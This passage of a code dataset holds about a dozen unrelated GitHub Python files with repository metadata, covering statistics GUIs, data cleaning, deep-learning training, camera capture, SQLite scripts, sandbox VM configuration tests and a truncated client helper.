2022/4/7\n\nfrom PyQt5.QtWidgets import QMessageBox\n\nimport pingouin as pg\nfrom ui.pingouin_methods import SubWindow_Pingouin\n\n\nclass Ui_Bayesfactor_pearson_MainWindow(SubWindow_Pingouin):\n def __init__(self):\n SubWindow_Pingouin.__init__(self)\n self.set_widgets()\n\n def set_widgets(self):\n self.label_method.setText(\"Bayes Factor of a Pearson correlation\")\n self.url = \"https://pingouin-stats.org/generated/pingouin.bayesfactor_pearson.html#pingouin.bayesfactor_pearson\"\n self.desc.setdefault(\"detail\", self.label_method.text())\n self.desc.setdefault(\"brief\", \"bayesfactor_pearson method!\")\n self.desc.setdefault(\"url\", self.url)\n self.log.info(self.desc[\"brief\"])\n\n self.show_add_parameter(2)\n self.label_l1.setEnabled(False)\n self.listView_1.setEnabled(False)\n self.label_l2.setEnabled(False)\n self.listView_2.setEnabled(False)\n\n self.show_choose_parameters(2)\n self.label_p1.setText(\"alternative\")\n self.comboBox_p1.addItem(\"two-sided\")\n self.comboBox_p1.addItem(\"greater\")\n self.comboBox_p1.addItem(\"less\")\n\n self.label_p2.setText(\"method\")\n self.comboBox_p2.addItem(\"ly\")\n self.comboBox_p2.addItem(\"wetzels\")\n\n self.show_set_parameters(3)\n self.label_s1.setText(\"Pearson correlation coefficient r\")\n self.label_s2.setText(\"Sample size n\")\n self.label_s3.setText(\"kappa factor\")\n self.lineEdit_s3.setText(\"1.0\")\n\n\n # need to install mpmath\n # pip install mpmath\n def start_analyse(self):\n self.paras.clear()\n try:\n r = float(self.lineEdit_s1.text())\n except ValueError:\n QMessageBox.warning(None, \"参数设置错误\", \"r需要被设置成float类型的数值。\", QMessageBox.Ok)\n return\n\n try:\n n = int(self.lineEdit_s2.text())\n except ValueError:\n QMessageBox.warning(None, \"参数设置错误\", \"n需要被设置成int类型的数值。\", QMessageBox.Ok)\n return\n\n self.paras.setdefault(\"r\",r)\n self.paras.setdefault(\"n\",n)\n\n if self.comboBox_p1.currentIndex() == 0:\n alternative = \"two-sided\"\n elif self.comboBox_p1.currentIndex() == 1:\n alternative = \"greater\"\n else:\n alternative =\"less\"\n self.paras.setdefault(\"alternative\",alternative)\n\n method = self.comboBox_p2.currentText()\n self.paras.setdefault(\"method\", method)\n if method == 'ly':\n try:\n kappa = float(self.lineEdit_s3.text())\n except ValueError:\n QMessageBox.warning(None, \"参数设置错误\", \"kappa需要被设置成float类型的数值。\", QMessageBox.Ok)\n return\n else:\n QMessageBox.warning(None, \"参数设置提醒\", \"kappa在wetzels方法下已被禁用,分析继续。\", QMessageBox.Ok)\n kappa = 1.0\n self.paras.setdefault(\"kappa\",kappa)\n\n from PyQt5.QtCore import QDateTime\n self.desc[\"start_time\"] = QDateTime.currentDateTime()\n self.task.set_worker(pg.bayesfactor_pearson, **self.paras)","repo_name":"xfz329/FeatureAnalyzer","sub_path":"ui/pingouin_methods/bayesian/bayesfactor_pearson.py","file_name":"bayesfactor_pearson.py","file_ext":"py","file_size_in_byte":3340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6465728692","text":"t=int(input())\nwhile(t!=0):\n n=input()\n k=input()\n for i in range(len(n)):\n if(ord(n[i])>ord(k[i])):\n print(\"NO\")\n break\n else:\n print(\"YES\")\n t-=1","repo_name":"21A91A05C1/codemind-python","sub_path":"Alice_and_Strings.py","file_name":"Alice_and_Strings.py","file_ext":"py","file_size_in_byte":198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22727241376","text":"import numpy as np\nimport pandas as pd\nimport datetime\nimport csv\nfrom pyproj import Transformer # !pip install pyproj\n\n\ndef clean_csv_data(file_name, min_cols=None):\n rows = []\n with open(file_name, \"r\") as f:\n for i, row in enumerate(f.readlines()):\n row = row.replace('\\n', '') # remove \\n at the end\n if i == 0:\n rows.append(row.split(\",\"))\n if min_cols is None:\n min_cols = len(rows[0])\n else:\n cleaned_row = [str_value for str_value in row.split(\",\") if len(str_value) > 2]\n if min_cols <= len(cleaned_row) <= len(rows[0]):\n rows.append(cleaned_row)\n \n new_file_name = file_name[:-4]+\"_cleaned.csv\"\n with open(new_file_name, 'w', newline='') as f:\n write = csv.writer(f)\n write.writerows(rows)\n return new_file_name\n\n\ntransformer = Transformer.from_crs(\"EPSG:3794\", \"EPSG:4326\", always_xy=True)\n\ndef convert_coordinates(x, y, reverse_coords=False):\n \"\"\"\n Convert D96 coordinates to WGS84 (lon, lat).\n NOTE: x, y are coordinates of point on my plot that I use in analysis. \n Real X and Y are switched. (use reverse_coords parameter).\n \"\"\"\n if reverse_coords:\n x, y = y, x\n lon, lat = transformer.transform(x, y)\n return lon, lat\n\ndef clean_and_get_coordinates(df, xy_properties=[\"X\", \"Y\"], xlim=(35000, 200000), ylim=(350000, 700000), reverse=False, return_df=False):\n df = df.loc[(df[xy_properties[0]] >= xlim[0]) & (df[xy_properties[0]] <= xlim[1])]\n df = df.loc[(df[xy_properties[1]] >= ylim[0]) & (df[xy_properties[1]] <= ylim[1])]\n\n X = [df[xy_properties[0]][key] for key in df[xy_properties[0]].keys()]\n Y = [df[xy_properties[1]][key] for key in df[xy_properties[1]].keys()]\n\n if reverse:\n X, Y = Y, X # switch coordinates\n\n if return_df:\n return df\n return X, Y\n\n\n\n\n","repo_name":"glogar/green-hack-bigdata","sub_path":"prepare_data.py","file_name":"prepare_data.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38530733074","text":"#!/usr/bin/env python\n# GPL. (C) 2015 Paolo Patruno.\n\n# This program is free software; you can redistribute it and/or modify \n# it under the terms of the GNU General Public License as published by \n# the Free Software Foundation; either version 2 of the License, or \n# (at your option) any later version. \n# \n# This program is distributed in the hope that it will be useful, \n# but WITHOUT ANY WARRANTY; without even the implied warranty of \n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the \n# GNU General Public License for more details. \n# \n# You should have received a copy of the GNU General Public License \n# along with this program; if not, write to the Free Software \n# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA \n# \n\nfrom . import jsonrpc\n\nclass androbluetooth():\n \"\"\"\n Establish a blutooth interface (pair and unpair device)\n \"\"\"\n\n def __init__(self,name=\"mybluetooth\",logfunc=jsonrpc.log_stdout):\n \n self.bluetooth_name=name\n self.bluetooth=None\n self.logfunc=logfunc\n self.bluetooth_status='BlueTooth Status: DISCONNECTED'\n\n def connect(self):\n \"\"\"\n Connect (pair) a bluetooth device with SSP profile and configure it as transport for jsonrpc\n \"\"\"\n try:\n self.bluetooth=jsonrpc.TransportBLUETOOTH(name=self.bluetooth_name,timeout=3, logfunc=self.logfunc)\n self.bluetooth_status='BlueTooth Status: CONNECTED'\n\n if self.bluetooth.recv_stream is None or self.bluetooth.send_stream is None:\n self.bluetooth=None\n self.bluetooth_status='BlueTooth Status: DISABLED'\n print(\"cannot activate\\nbluetooth\")\n\n except:\n print(\"cannot activate\\nbluetooth\")\n try:\n self.bluetooth.close()\n except:\n pass\n\n self.bluetooth=None\n self.bluetooth_status='BlueTooth Status: ERROR'\n\n return self.bluetooth\n\n\n def close(self):\n \"\"\"\n Disconnect a bluetooth device (unpair)\n \"\"\"\n\n if self.bluetooth is None:\n print(\"bluetooth disabled\")\n return\n\n try:\n self.bluetooth.close()\n self.bluetooth_status='BlueTooth Status: DISCONNECTED'\n except:\n self.bluetooth_status='BlueTooth Status: ERROR'\n\n self.bluetooth=None\n\n","repo_name":"r-map/rmap","sub_path":"python/app_dist/rmap-core_app/build/lib/rmap/bluetooth.py","file_name":"bluetooth.py","file_ext":"py","file_size_in_byte":2407,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"61"} +{"seq_id":"26477015293","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import rcParams, rc\n\nparams = {'savefig.dpi' : 300, # save figures to 300 dpi\n 'xtick.top' : False,\n 'ytick.right' : True, #Set to false\n 'axes.spines.top' : True, #Set to false\n 'axes.spines.bottom' : True,\n 'axes.spines.left' : True,\n 'axes.spines.right' : True, #Set to false@\n 'axes.grid.axis' : 'y',\n 'axes.grid' : False,\n 'ytick.major.size' : 10,\n 'ytick.minor.size' : 5,\n 'xtick.major.size' : 10,\n 'xtick.minor.size' : 5,\n 'ytick.major.width' : 1.5,\n 'ytick.minor.width' : 1.5,\n 'xtick.major.width' : 1.5,\n 'xtick.minor.width' : 1.5,\n 'axes.linewidth' : 1.5,\n #'ytick.major.size' : 6,\n #'ytick.minor.size' : 3,\n #'xtick.major.size' : 6,\n #'xtick.minor.size' : 3,\n}\n\nrcParams.update(params)\n\n#datadir = '/mn/stornext/d16/cmbco/eirikgje/data/bp_paper_plot_data/'\ndatadir = '/home/eirik/data/bp_paper_plot_data/'\n\ndata = np.loadtxt(datadir + 'tod_24S_pid009495.dat')\n\nplt.plot(data[:, 9])\nplt.plot(data[:, 8])\nplt.xlim(0, 10000)\n\nplt.xlabel('PID')\nplt.ylabel('Temperature [K]')\n\nplt.savefig('dipole_comparison.pdf', bbox_inches='tight')\n","repo_name":"eirikgje/cmb_analysis","sub_path":"paper_plotting_scripts/bp_papers/plot_dipole_comparison.py","file_name":"plot_dipole_comparison.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22006870133","text":"s = '1234'\nanswer = True\nnum = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\nif len(s) == 4 or len(s) == 6:\n for i in range(len(s)):\n if s[i] not in num:\n answer = False\nelse:\n answer = False\n\nprint(answer)\n","repo_name":"vreez/APS","sub_path":"programmers/문자열 다루기 기본.py","file_name":"문자열 다루기 기본.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21881844313","text":"import mock\nimport random\nimport sys\n\nfrom vsc.install.testing import TestCase\nfrom vsc.utils.script_tools import ExtendedSimpleOption, DEFAULT_OPTIONS\n\n\nclass TestExtendedSimpleOption(TestCase):\n \"\"\"\n Tests for the ExtendedSimpleOption class.\n \"\"\"\n def setUp(self):\n \"\"\"Backup sys.argv\"\"\"\n super(TestCase, self).setUp()\n # make a copy of sys.argv\n self._old_argv = sys.argv[:]\n sys.argv = sys.argv[:1]\n\n def tearDown(self):\n \"\"\"restore sys.argv\"\"\"\n super(TestCase, self).tearDown()\n sys.argv = self._old_argv\n\n @mock.patch('vsc.utils.script_tools.TimestampedPidLockfile')\n @mock.patch('vsc.utils.script_tools.lock_or_bork')\n @mock.patch('vsc.utils.script_tools.proceed_on_ha_service')\n def test_threshold_default_setting(self, mock_proceed, mock_lock, mock_lockfile):\n \"\"\"Test if the default value is set\"\"\"\n mock_proceed.return_value = True\n mock_lockfile.return_value = mock.MagicMock()\n\n opts = ExtendedSimpleOption(options={})\n self.assertEqual(opts.options.nagios_check_interval_threshold,\n DEFAULT_OPTIONS['nagios-check-interval-threshold'][3])\n self.assertEqual(opts.nagios_reporter._threshold,\n DEFAULT_OPTIONS['nagios-check-interval-threshold'][3])\n self.assertEqual(opts.nagios_reporter._cache_user, 'nagios')\n self.assertEqual(opts.options.nagios_user, 'nagios')\n self.assertFalse(opts.nagios_reporter._world_readable)\n self.assertFalse(opts.options.nagios_world_readable_check)\n\n @mock.patch('vsc.utils.script_tools.TimestampedPidLockfile')\n @mock.patch('vsc.utils.script_tools.lock_or_bork')\n @mock.patch('vsc.utils.script_tools.proceed_on_ha_service')\n def test_threshold_custom_setting(self, mock_proceed, mock_lock, mock_lockfile):\n \"\"\"Test if a custom value is passed on correctly\"\"\"\n mock_proceed.return_value = True\n mock_lockfile.return_value = mock.MagicMock()\n\n threshold = random.uniform(1, 1000)\n\n opts = ExtendedSimpleOption({'nagios-check-interval-threshold': threshold,\n 'nagios-user': 'nrpe',\n 'nagios-world-readable-check': True})\n self.assertEqual(opts.options.nagios_check_interval_threshold, threshold)\n self.assertEqual(opts.options.nagios_user, 'nrpe')\n self.assertEqual(opts.nagios_reporter._cache_user, 'nrpe')\n self.assertTrue(opts.nagios_reporter._world_readable)\n self.assertTrue(opts.options.nagios_world_readable_check)\n","repo_name":"ciskoo111/vsc-utils","sub_path":"test/script_tools.py","file_name":"script_tools.py","file_ext":"py","file_size_in_byte":2617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"26247555478","text":"import time\nimport torch\nimport torch.nn as nn\nfrom tqdm import tqdm\nimport numpy as np\nfrom timm.utils import AverageMeter\nfrom openstl.models import PredNet_Model\nfrom openstl.utils import (reduce_tensor, get_initial_states)\nfrom openstl.methods.base_method import Base_method\n\n\nclass PredNet(Base_method):\n r\"\"\"PredNet\n\n Implementation of `Deep Predictive Coding Networks for Video Prediction\n and Unsupervised Learning `_.\n\n \"\"\"\n\n def __init__(self, args, device, steps_per_epoch):\n Base_method.__init__(self, args, device, steps_per_epoch)\n self.model = self._build_model(self.args)\n self.model_optim, self.scheduler, self.by_epoch = self._init_optimizer(steps_per_epoch)\n self.criterion = nn.MSELoss()\n self.train_loss = TrainLossCalculator(num_layer=len(self.args.stack_sizes), timestep=self.args.pre_seq_length +\n self.args.aft_seq_length, weight_mode=self.args.weight_mode, device=self.device)\n\n def _build_model(self, args):\n return PredNet_Model(args.stack_sizes, args.R_stack_sizes,\n args.A_filt_sizes, args.Ahat_filt_sizes,\n args.R_filt_sizes, args.pixel_max, args)\n\n def _predict(self, batch_x, batch_y, **kwargs):\n input = torch.cat([batch_x, batch_y], dim=1)\n states = get_initial_states(input.shape, -2, -1, len(self.args.stack_sizes),\n self.args.R_stack_sizes, self.args.stack_sizes,\n -3, self.args.device)\n predict_list, _ = self.model(input, states, extrapolation=True)\n pred_y = torch.stack(predict_list[batch_x.shape[1]:], dim=1)\n return pred_y\n\n def train_one_epoch(self, runner, train_loader, epoch, num_updates, eta=None, **kwargs):\n \"\"\"Train the model with train_loader.\"\"\"\n data_time_m = AverageMeter()\n losses_m = AverageMeter()\n self.model.train()\n if self.by_epoch:\n self.scheduler.step(epoch)\n train_pbar = tqdm(train_loader) if self.rank == 0 else train_loader\n\n end = time.time()\n for batch_x, batch_y in train_pbar:\n data_time_m.update(time.time() - end)\n self.model_optim.zero_grad()\n\n batch_x, batch_y = batch_x.to(self.device), batch_y.to(self.device)\n runner.call_hook('before_train_iter')\n\n with self.amp_autocast():\n input = torch.cat([batch_x, batch_y], dim=1)\n states = get_initial_states(input.shape, -2, -1, len(self.args.stack_sizes),\n self.args.R_stack_sizes, self.args.stack_sizes,\n -3, self.args.device)\n\n _, error_list = self.model(input, states, extrapolation=False)\n loss = self.train_loss.calculate_loss(error_list)\n\n if not self.dist:\n losses_m.update(loss.item(), batch_x.size(0))\n\n if self.loss_scaler is not None:\n if torch.any(torch.isnan(loss)) or torch.any(torch.isinf(loss)):\n raise ValueError(\n \"Inf or nan loss value. Please use fp32 training!\")\n self.loss_scaler(\n loss, self.model_optim,\n clip_grad=self.args.clip_grad, clip_mode=self.args.clip_mode,\n parameters=self.model.parameters())\n else:\n loss.backward()\n self.clip_grads(self.model.parameters())\n\n self.model_optim.step()\n torch.cuda.synchronize()\n num_updates += 1\n\n if self.dist:\n losses_m.update(reduce_tensor(loss), batch_x.size(0))\n\n if not self.by_epoch:\n self.scheduler.step()\n runner.call_hook('after_train_iter')\n runner._iter += 1\n\n if self.rank == 0:\n log_buffer = 'train loss: {:.4f}'.format(loss.item())\n log_buffer += ' | data time: {:.4f}'.format(data_time_m.avg)\n train_pbar.set_description(log_buffer)\n\n end = time.time() # end for\n\n if hasattr(self.model_optim, 'sync_lookahead'):\n self.model_optim.sync_lookahead()\n\n return num_updates, losses_m, eta\n\n\nclass TrainLossCalculator:\n def __init__(self, num_layer, timestep, weight_mode, device):\n self.num_layers = num_layer\n self.timestep = timestep\n self.weight_mode = weight_mode\n self.device = device\n\n if self.weight_mode == 'L_0':\n layer_weights = np.array([0. for _ in range(num_layer)])\n layer_weights[0] = 1.\n elif self.weight_mode == 'L_all':\n layer_weights = np.array([0.1 for _ in range(num_layer)])\n layer_weights[0] = 1.\n else:\n raise (RuntimeError('Unknown loss weighting mode! '\n 'Please use `L_0` or `L_all`.'))\n self.layer_weights = torch.from_numpy(layer_weights).to(self.device)\n\n def calculate_loss(self, input):\n # Weighted by layer\n error_list = [batch_numLayer_error * self.layer_weights for\n batch_numLayer_error in input] # Use the broadcast\n error_list = [torch.sum(error_at_t) for error_at_t in error_list]\n\n # Weighted by timestep\n time_loss_weights = torch.cat([torch.tensor([0.], device=self.device),\n torch.full((self.timestep - 1,),\n 1. / (self.timestep - 1), device=self.device)])\n\n total_error = error_list[0] * time_loss_weights[0]\n for err, time_weight in zip(error_list[1:], time_loss_weights[1:]):\n total_error += err * time_weight\n total_error /= input[0].shape[0] # input[0].shape[0] = B\n return total_error\n","repo_name":"chengtan9907/OpenSTL","sub_path":"openstl/methods/prednet.py","file_name":"prednet.py","file_ext":"py","file_size_in_byte":5950,"program_lang":"python","lang":"en","doc_type":"code","stars":403,"dataset":"github-code","pt":"61"} +{"seq_id":"36277268964","text":"import cv2\nimport time\n# Windows dependencies\n# - Python 2.7.6: http://www.python.org/download/\n# - OpenCV: http://opencv.org/\n# - Numpy -- get numpy from here because the official builds don't support x64:\n# http://www.lfd.uci.edu/~gohlke/pythonlibs/#numpy\n\n# Mac Dependencies\n# - brew install python\n# - pip install numpy\n# - brew tap homebrew/science\n# - brew install opencv\n\ncap = cv2.VideoCapture(0)\nstart = time.clock()\nframes = 0\nwhile(True):\n ret, frame = cap.read()\n frames += 1\n rgb = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n cv2.imshow('frame', rgb)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n out = cv2.imwrite('capture.jpg', frame)\n break\n\nprint(f\"{frames/(time.clock()-start)} fp/s\")\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"shaokangtan/calibration","sub_path":"test/camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3443796143","text":"import sqlite3\r\nimport sys\r\nimport csv\r\ndata_list=[]\r\n\r\nwith open('Airport_data.csv', 'r') as f:\r\n reader = csv.reader(f)\r\n for item in reader:\r\n tup=(item[0],item[1],item[2],item[3],item[4],item[5],item[6],item[7])\r\n data_list.append(tup)\r\n\r\ndef init_db():\r\n conn = sqlite3.connect('airport.db')\r\n cur = conn.cursor()\r\n\r\n statement='''\r\n\r\n DROP TABLE IF EXISTS 'Airports';\r\n '''\r\n cur.execute(statement)\r\n conn.commit()\r\n\r\n statement = '''\r\n CREATE TABLE 'Airports' (\r\n 'Iata' TEXT PRIMARY KEY,\r\n 'Airport' TEXT NOT NULL,\r\n 'City' TEXT NOT NULL,\r\n 'State' TEXT NOT NULL,\r\n 'Country' TEXT NOT NULL,\r\n 'latitude' INTEGER NOT NULL,\r\n 'longitude' INTEGER NOT NULL,\r\n 'TrafficCount' INTEGER NOT NULL\r\n );\r\n '''\r\n cur.execute(statement)\r\n conn.commit()\r\n\r\n\r\ndef insert_data(data):\r\n conn=sqlite3.connect('airport.db')\r\n cur=conn.cursor()\r\n \r\n\r\n for tup in data:\r\n insertion= (tup[0],tup[1],tup[2],tup[3],tup[4],tup[5],tup[6],tup[7])\r\n statement=\"INSERT INTO 'Airports'\"\r\n statement += 'VALUES (?,?,?,?,?,?,?,?)'\r\n cur.execute(statement,insertion)\r\n conn.commit()\r\n conn.close()\r\n\r\n#insert_data(data_list[1:])\r\n\r\nconn=sqlite3.connect('airport.db')\r\ncur=conn.cursor()\r\nstatement='UPDATE Airports SET \"TrafficCount\"=8500 WHERE \"Iata\"=\"DTW\" '\r\ncur.execute(statement)\r\n\r\nstatement='SELECT Iata,City,TrafficCount FROM Airports WHERE \"State\"=\"MI\"'\r\ncur.execute(statement)\r\n\r\nfor x in cur:\r\n print(x[0],x[1],x[2])\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"EMeireles/SI_206","sub_path":"Lecture Exercises/Lec18/databases_18.py","file_name":"databases_18.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25225578874","text":"import tempfile\n\nfrom cuckoo.common.abstracts import Machinery\nfrom cuckoo.common.config import Config\nfrom cuckoo.common.files import Files, Folders\nfrom cuckoo.common.utils import Singleton\nfrom cuckoo.core.database import Database\nfrom cuckoo.core.resultserver import ResultServer\nfrom cuckoo.misc import set_cwd, cwd\n\ndef test_machines():\n set_cwd(tempfile.mkdtemp())\n Folders.create(cwd(), \"conf\")\n Files.create(cwd(\"conf\"), \"cuckoo.conf\", \"\"\"\n[cuckoo]\nmachinery = virtualbox\n[database]\nconnection =\ntimeout =\n[resultserver]\nip = 9.8.7.6\nport = 9876\n\"\"\")\n Files.create(cwd(\"conf\"), \"virtualbox.conf\", \"\"\"\n[virtualbox]\nmachines = a, b, c\n[a]\nlabel = a\nsnapshot = derpa\nplatform = windows\nip = 1.2.3.4\n\n[b]\nlabel = b\nsnapshot = derpb\nplatform = windows\nip = 5.6.7.8\nresultserver_ip = 7.5.3.1\n\n[c]\nlabel = c\nsnapshot = derpc\nplatform = windows\nip = 1.3.5.7\nresultserver_port = 4242\n\"\"\")\n\n class mock(object):\n port = 9001\n\n Singleton._instances[ResultServer] = mock()\n\n db = Database()\n db.connect()\n m = Machinery()\n m.set_options(Config(\"virtualbox\"))\n m._initialize(\"virtualbox\")\n\n machines = db.list_machines()\n assert len(machines) == 3\n assert machines[0].label == \"a\"\n assert machines[0].snapshot == \"derpa\"\n assert machines[0].ip == \"1.2.3.4\"\n assert machines[0].resultserver_ip == \"9.8.7.6\"\n assert machines[0].resultserver_port == 9001\n assert machines[1].label == \"b\"\n assert machines[1].snapshot == \"derpb\"\n assert machines[1].ip == \"5.6.7.8\"\n assert machines[1].resultserver_ip == \"7.5.3.1\"\n assert machines[1].resultserver_port == 9001\n assert machines[2].label == \"c\"\n assert machines[2].snapshot == \"derpc\"\n assert machines[2].ip == \"1.3.5.7\"\n assert machines[2].resultserver_ip == \"9.8.7.6\"\n assert machines[2].resultserver_port == 4242\n\n Singleton._instances.pop(ResultServer)\n","repo_name":"cuckoosandbox/cuckoo","sub_path":"tests/test_vms.py","file_name":"test_vms.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","stars":5316,"dataset":"github-code","pt":"61"} +{"seq_id":"2031930684","text":"# loads the datasets and trains them\n\nimport torch\nimport torch.nn as nn\nfrom nn_models.CNN import CNN\nfrom torch.utils.data import Dataset, DataLoader\nfrom tqdm import tqdm\nfrom utils import find_max_audio_length, get_spectrogram, set_char2index\nfrom MyLibriSpeech import MyCommonVoice, MyLibriSpeech\n\n\ndef train(config):\n ########## Loads data ##########\n print(f\"Loading {config['dataset']} dataset...\")\n dataset = Dataset()\n if config[\"dataset\"] == \"librispeech\":\n dataset_path = 'data/librispeech/'\n dataset = MyLibriSpeech(dataset_path, url=\"train-clean-100\", download=True)\n max_length = 392400\n dataset.char2index = {'D': 0, 'G': 1, 'O': 2, 'S': 3, 'J': 4, 'T': 5, ' ': 6, 'E': 7, 'X': 8, 'A': 9, 'K': 10,\n 'R': 11, 'N': 12, 'L': 13, 'U': 14, 'C': 15, 'I': 16, 'M': 17, \"'\": 18, 'H': 19, 'Q': 20,\n 'B': 21, 'Y': 22, 'Z': 23, 'W': 24, 'F': 25, 'P': 26, 'V': 27}\n\n elif config[\"dataset\"] == \"commonvoice\":\n dataset_path = 'data/cv-corpus-13.0-delta-2023-03-09/'\n dataset = MyCommonVoice(dataset_path)\n max_length = 352512\n dataset.char2index = set_char2index(dataset)\n else:\n # Finds the max length so __getItem__ can do padding\n dataset.padding = False\n max_length = find_max_audio_length(dataset)\n dataset.padding = True\n print(\"max_length\", max_length)\n dataset.char2index = set_char2index(dataset)\n dataset.max_length = max_length\n data_loader = DataLoader(dataset, batch_size=config[\"batch_size\"], shuffle=True)\n\n ########## Loads model ##########\n model = CNN(config)\n\n criterion = nn.CTCLoss(blank=0, zero_infinity=True)\n optimizer = torch.optim.Adam(model.parameters(), lr=config[\"learning_rate\"])\n\n for epoch in range(config[\"epochs\"]):\n model.train()\n\n loss = 0.0\n\n # Iterate over the data loader\n for batch in tqdm(data_loader, desc=\"Training model\", unit=\"batch\"):\n audio, transcript = batch\n\n print(\"[train] audio\", audio.shape)\n\n # Add channel dimension for the CNN model\n audio = audio.unsqueeze(1)\n\n print(\"[train] audio\", audio.shape)\n\n # Get the spectrogram for the audio\n spectrogram = get_spectrogram(audio)\n\n print(\"[train] spectrogram\", spectrogram.shape)\n\n # Clear the gradients\n optimizer.zero_grad()\n\n # Forward pass\n outputs = model(spectrogram)\n\n # Adjust the transcript batch size\n transcript = transcript[:outputs.size(0)] # Adjust batch size to match outputs\n # print(\"[train] transcript 1\", transcript)\n transcript = ''.join(transcript)\n # print(\"[train] transcript 2\", transcript)\n\n # Convert the transcript to a tensor of Long type\n transcript = [dataset.char2index[c] for c in transcript]\n # print(\"[train] transcript 3\", transcript)\n transcript = torch.tensor(transcript, dtype=torch.long)\n # print(\"[train] transcript 4\", transcript.shape)\n # print(\"[train] outputs\", outputs.shape)\n\n # Compute the CTC loss\n # loss = criterion(outputs.permute(2, 0, 1), transcript, input_lengths=[outputs.size(2)],\n # target_lengths=[len(transcript)])\n # loss = nn.CTCLoss()(outputs, transcript, input_lengths=torch.tensor([outputs.shape[0]]),\n # target_lengths=torch.tensor([transcript.shape[0]]))\n\n # Backward pass\n # loss.backward()\n\n # Update the weights\n optimizer.step()\n\n # loss += loss.item() * audio.size(0)\n\n epoch_loss = loss / len(dataset)\n print(f\"[Epoch {epoch + 1}/{config['epochs']}] Loss: {epoch_loss}\")\n\n\ndef load_state_librispeech():\n print(\"[load_state_librispeech]\")\n checkpoint_path = \"data/librispeech_pretrained.pth\"\n checkpoint = torch.load(checkpoint_path, map_location=torch.device(\"cpu\"))\n model_state_dict = checkpoint[\"state_dict\"]\n # for key in model_state_dict.keys():\n # print(key, model_state_dict[key].shape)\n model = CNN(config)\n model.load_state_dict(model_state_dict, strict=False)\n model.eval()\n\n\ndef load_state_commonvoice():\n print(\"[load_state_commonvoice]\")\n from speechbrain.pretrained import EncoderDecoderASR\n asr_model = EncoderDecoderASR.from_hparams(source=\"speechbrain/asr-wav2vec2-commonvoice-en\",\n savedir=\"pretrained_models/asr-wav2vec2-commonvoice-en\")\n\n\nif __name__ == \"__main__\":\n config = {\n \"batch_size\": 32,\n \"epochs\": 10,\n \"learning_rate\": 0.001,\n \"l1\": 128,\n \"l2\": 64\n }\n\n for dataset_name in [\"librispeech\", \"commonvoice\"]:\n config[\"dataset\"] = dataset_name\n train(config=config)\n","repo_name":"lucasseadi/python","sub_path":"AI-Final-Project/main_v1.py","file_name":"main_v1.py","file_ext":"py","file_size_in_byte":4950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75827244","text":"from collections import deque\nfrom collections import defaultdict\n\nclass Solution:\n ans = -1\n\n def dfs(self, curr:int, edges: dict, visit: set, dist: dict):\n visit.add(curr)\n nei = edges[curr]\n\n if nei == -1:\n return\n \n if nei not in visit:\n dist[nei] = dist[curr] + 1\n self.dfs(nei, edges, visit, dist)\n else:\n if nei in dist:\n self.ans = max(self.ans, dist[curr] - dist[nei] + 1)\n\n def longestCycle(self, edges: list[int]) -> int:\n \n self.ans = -1\n visit = set()\n for i in range(0, len(edges)):\n if i in visit:\n continue\n dist = {}\n dist[i] = 0\n self.dfs(i, edges, visit, dist)\n\n return self.ans\n \n def longestCycle(self, edges: list[int]) -> int:\n\n indegree = defaultdict(int)\n visit = set()\n\n for edge in edges:\n if edge != -1:\n indegree[edge] += 1\n print(indegree)\n\n q = deque()\n\n for i in range(0, len(edges)):\n if indegree[i] == 0:\n q.append(i)\n\n while len(q):\n curr = q.popleft()\n visit.add(curr)\n nei = edges[curr]\n if nei != -1:\n indegree[nei] -= 1\n if indegree[nei] == 0:\n q.append(nei)\n\n ans = -1\n for i in range(0, len(edges)):\n if i not in visit:\n count = 1\n visit.add(i)\n nei = edges[i]\n while nei != i:\n count += 1\n nei = edges[nei]\n visit.add(nei)\n ans = max(ans, count)\n\n return ans\n\n\n\n\n\n\nprint(Solution().longestCycle([3,3,4,2,3]))\nprint(Solution().longestCycle([2,-1,3,1]))","repo_name":"PanJianTing/LeetCode","sub_path":"2360_LongestCycleInAGraph.py","file_name":"2360_LongestCycleInAGraph.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71926726595","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n# Some helper functions to use the disaster_recovery client functionality\n# from horizon.\n\nfrom oslo_log import log\n\nfrom django.conf import settings\nfrom horizon.utils.memoized import memoized # noqa\nfrom freezerclient import client as freezer_client\n\nfrom disaster_recovery import utils\n\n\nLOG = 